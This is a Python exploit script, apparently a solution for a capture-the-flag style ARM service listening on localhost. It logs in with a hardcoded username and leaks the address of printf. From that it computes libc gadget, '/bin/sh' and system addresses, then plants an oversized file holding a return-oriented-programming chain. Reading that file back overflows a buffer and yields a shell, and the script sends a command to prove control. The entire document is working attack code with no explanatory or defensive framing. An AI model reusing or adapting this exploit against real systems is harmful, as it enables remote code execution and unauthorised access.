#!/usr/bin/python
import time
import struct

from nclib import Netcat

OBJID = b"0a5f7b82bce61938e0f89a0b0c9d810ef10a00ba"


always = ''

def main():
    # Step 0 --- Connect to the target
    nc = Netcat(("localhost", 8000))
    #nc.echo = True
    #print "[+] Connected"

    # Step 1 --- Use hardcoded login
    nc.read_until(b"Username: ")
    nc.write(b"traffic_operator\n")
    #print "[+] Loged in"

    # Step 2 --- Into leak to get address of printf
    nc.read_until(b"Please enter a number:\n")
    nc.write(b"23\n")

    nc.read_until(b"> ")
    addr_printf = int(nc.read_until(b"\n"), 16) - 1      # -1 to fix Thumb address
    #print "[+] print address:", hex(addr_printf)

    addr_pop    = addr_printf + 0x21FE8         # ARM code
    addr_binsh  = addr_printf + 0x91D54         # data
    addr_system = addr_printf - 0x09D9C + 1         # Thumb code

    #print "\t> pop:", hex(addr_pop)
    #print "\t> binsh:", hex(addr_binsh)
    #print "\t> system:", hex(addr_system)

    # Step 3 --- Store file containig exploit
    nc.read_until("Please enter a number:\n")
    nc.write(b"2\n" + OBJID + b"\n" + b"A" * 276)

    EXPLOIT  = struct.pack('I', addr_pop)       # pop {r0, r4, pc}
    EXPLOIT += struct.pack('I', addr_binsh)     # r0 points to /bin/sh
    EXPLOIT += struct.pack('I', addr_binsh)     # r4 is unused
    EXPLOIT += struct.pack('I', addr_system)    # call system("/bin/sh")

    nc.write(EXPLOIT + b"\n")
    #print "[+] saved payload:", repr(EXPLOIT)

    # Step 4 --- Trigger vulnerability by reading too large file
    nc.read_until(b"Please enter a number:\n")
    nc.write(b"1\n" + OBJID + b"\n")

    time.sleep(3)

    # Step 5 --- Send command or go into interactive shell mode
    #print "[?] Sending a command..."
    nc.write(b"echo Haha totally pwned\n")

    return nc.read(4096) + nc.read(4096)

if __name__ == '__main__':
    print(main())
